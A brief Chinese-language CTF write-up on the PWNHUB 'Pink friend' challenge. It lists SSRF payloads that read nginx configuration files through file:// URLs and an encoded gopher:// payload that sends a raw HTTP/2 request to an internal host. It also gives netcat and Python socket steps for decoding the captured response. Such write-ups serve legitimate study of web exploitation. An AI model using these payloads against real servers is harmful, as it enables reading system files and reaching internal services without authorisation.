PWNHUB-Pink friend
摘要：
看了f1sh師傅的wp： pwnhub Pink friend Writeup ，Orz！感覺做法很騷，這裡記錄一下關鍵步驟。
url=file:///etc/nginx/nginx.conf
url=file:///etc/nginx/si...
url=file:///etc/nginx/sites-enabled/default
使用 gopher 構造構造 http2 協議訪問 172.20.0.3:8080 。
本地監聽http2請求包
nc -lvvp 8000>1.txt
curl –http2-prior-knowledge：可以在不升級HTTP/1.1的情況下使用HTTP2。
$ curl --http2-prior-knowledgehttp://127.0.0.1:8000/
構造gopher協議
gopher://172.20.0.3:8080/_PRI%2520%252A%2520HTTP/2.0%250D%250A%250D%250ASM%250D%250A%250D%250A%2500%2500%2512%2504%2500%2500%2500%2500%2500%2500%2503%2500%2500%2500d%2500%2504%2540%2500%2500%2500%2500%2502%2500%2500%2500%2500%2500%2500%2504%2508%2500%2500%2500%2500%2500%253F%25FF%2500%2501%2500%2500%251E%2501%2505%2500%2500%2500%2501%2582%2584%2586A%258A%2508%259D%255C%250B%2581p%25DCx%2501%2517z%2588%2525%25B6P%25C3%25AB%25B8%25CA%25E0S%2503%252A/%252A
然後把返回的資料儲存到檔案 flag.txt 中
模擬HTTP2請求過程，對剛才返回的資料進行解碼。
nc -lvvp 8000 < flag.txt
也可以像f1sh師傅一樣用python啟一個socket服務。
import socket
a = open("flag.txt", "rb").read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '127.0.0.1'
port = 8000
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
c.send(a)
curl --http2-prior-knowledge http://127.0.0.1:8000 -v
